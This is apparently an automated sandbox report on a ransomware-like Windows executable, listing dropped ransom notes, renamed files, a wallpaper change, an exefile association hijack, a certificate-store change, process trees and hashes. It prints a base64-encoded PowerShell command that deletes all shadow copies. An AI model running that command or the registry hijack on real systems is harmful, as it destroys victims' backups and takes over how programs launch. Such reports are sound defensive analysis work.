00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\N: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\Q: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\Z: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\A: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\E: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\G: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\J: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\K: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\O: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\V: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened (read-only) \??\X: 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Drops file in System32 directory 1 IoCs
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exedescription ioc process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\x9n.bmp" 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Drops file in Program Files directory 64 IoCs
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exedescription ioc process File opened for modification C:\PROGRA~2\MICROS~1\Office14\ONENOTE.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmlaunch.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GO664E~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GOF5E2~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\CNFNOT32.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\ConvertCopy.AAC 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\WINWORD.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\CopyExpand.wav 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~3.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\WINDOW~1\wab.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\OpenInvoke.mpg 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\SplitConvertTo.txt 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\FLTLDR.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\POWERPNT.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\EQUATION\EQNEDT32.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\CopyCompare.ADT 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\DismountWatch.ppt 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\ExportRequest.jtx 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\RedoMove.tiff 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\GRAPH.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\DisconnectMount.eps 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSTORE.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\IECONT~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSOHTMED.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\EnterTrace.doc 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\ExitSubmit.DVR 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\TextConv\WksConv\Wkconv.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\SELFCERT.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\LimitConnect.svg 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\WINDOW~1\wabmig.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\WI54FB~1\setup_wm.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmpconfig.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\WI54FB~1\WMPDMC.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\A3DUTI~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\Google\Update\1336~1.71\GOOGLE~4.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\OIS.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\FormatExit.htm 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\ODeploy.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\ApproveExit.xls 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\p72pe-readme.txt 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\WINDOW~2\ACCESS~1\wordpad.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\NAMECO~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmprph.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\COMMON~1\ADOBEA~1\Versions\1.0\ADOBEA~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\INTERN~1\iexplore.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSQRY32.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\ProtectUnpublish.zip 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\p72pe-readme.txt 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\INTERN~1\ielowutil.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\MSTORDB.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\ONENOTEM.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\Eula.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\COMMON~1\Adobe\Updater6\ADOBEU~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification \??\c:\program files\EnterFormat.clr 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\WI54FB~1\wmpshare.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\1033\ONELEV.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\MICROS~1\Office14\INFOPATH.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Reader\ACROBR~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File opened for modification C:\PROGRA~2\Adobe\READER~1.0\Resource\Icons\SC_REA~1.EXE 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe File created \??\c:\program files\p72pe-readme.txt 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Drops file in Windows directory 1 IoCs
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exedescription ioc process File opened for modification C:\Windows\svchost.com 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 1 IoCs
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*" 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 04000000010000001000000091de0625abdafd32170cbb25172a84670f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec537261877619000000010000001000000063664b080559a094d10f0a3c5f4f62900300000001000000140000002796bae63f1801e277261ba0d77770028f20eee41d000000010000001000000099949d2179811f6b30a8c99c4f6b4226140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e309000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000020000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exepowershell.exepid process 776 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe 1148 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1148 powershell.exe Token: SeBackupPrivilege 1512 vssvc.exe Token: SeRestorePrivilege 1512 vssvc.exe Token: SeAuditPrivilege 1512 vssvc.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exedescription pid process target process PID 1668 wrote to memory of 776 1668 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe PID 1668 wrote to memory of 776 1668 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe PID 1668 wrote to memory of 776 1668 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe PID 1668 wrote to memory of 776 1668 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe PID 776 wrote to memory of 1148 776 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe powershell.exe PID 776 wrote to memory of 1148 776 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe powershell.exe PID 776 wrote to memory of 1148 776 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe powershell.exe PID 776 wrote to memory of 1148 776 00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe"C:\Users\Admin\AppData\Local\Temp\00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe"1⤵
- Modifies system executable filetype association
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\3582-490\00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exe"2⤵
- Executes dropped EXE
- Modifies extensions of user files
- Enumerates connected drives
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\3582-490\00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exeMD5
2720a8361dd606d683daba26686d1cc3
SHA13af79888890ce87ee1a217cd017312b2d53dc2e9
SHA2560b0b2fdff74516db18bb37a91372792e0887c8730f4f7f44b3d880f79699a0a1
SHA5125986e3eb98cb64d507e17824069a55980d58703b36901cb623c4732a458163bdc1d66dfbeb8dcc160f3f10c38f620b9e231e087c0a60647bfe1659ffbbb03265
-
\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXEMD5
9e2b9928c89a9d0da1d3e8f4bd96afa7
SHA1ec66cda99f44b62470c6930e5afda061579cde35
SHA2568899b4ed3446b7d55b54defbc1acb7c5392a4b3bc8ec2cdc7c31171708965043
SHA5122ca5ad1d0e12a8049de885b90b7f56fe77c868e0d6dae4ec4b6f3bc0bf7b2e73295cc9b1328c2b45357ffb0d7804622ab3f91a56140b098e93b691032d508156
-
\Users\Admin\AppData\Local\Temp\3582-490\00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exeMD5
2720a8361dd606d683daba26686d1cc3
SHA13af79888890ce87ee1a217cd017312b2d53dc2e9
SHA2560b0b2fdff74516db18bb37a91372792e0887c8730f4f7f44b3d880f79699a0a1
SHA5125986e3eb98cb64d507e17824069a55980d58703b36901cb623c4732a458163bdc1d66dfbeb8dcc160f3f10c38f620b9e231e087c0a60647bfe1659ffbbb03265
-
\Users\Admin\AppData\Local\Temp\3582-490\00b5940a6a449f17a7134c9e81b6615c5e1e2fa1eef4cf8b3952d8c6817980cf.exeMD5
2720a8361dd606d683daba26686d1cc3
SHA13af79888890ce87ee1a217cd017312b2d53dc2e9
SHA2560b0b2fdff74516db18bb37a91372792e0887c8730f4f7f44b3d880f79699a0a1
SHA5125986e3eb98cb64d507e17824069a55980d58703b36901cb623c4732a458163bdc1d66dfbeb8dcc160f3f10c38f620b9e231e087c0a60647bfe1659ffbbb03265
-
memory/1148-60-0x000007FEFBEB1000-0x000007FEFBEB3000-memory.dmpFilesize
8KB
-
memory/1148-62-0x0000000002860000-0x0000000002862000-memory.dmpFilesize
8KB
-
memory/1148-63-0x0000000002862000-0x0000000002864000-memory.dmpFilesize
8KB
-
memory/1148-64-0x0000000002864000-0x0000000002867000-memory.dmpFilesize
12KB
-
memory/1148-61-0x000007FEF30A0000-0x000007FEF3BFD000-memory.dmpFilesize
11.4MB
-
memory/1148-65-0x000000001B750000-0x000000001BA4F000-memory.dmpFilesize
3.0MB
-
memory/1148-66-0x000000000286B000-0x000000000288A000-memory.dmpFilesize
124KB
-
memory/1668-55-0x0000000075321000-0x0000000075323000-memory.dmpFilesize
8KB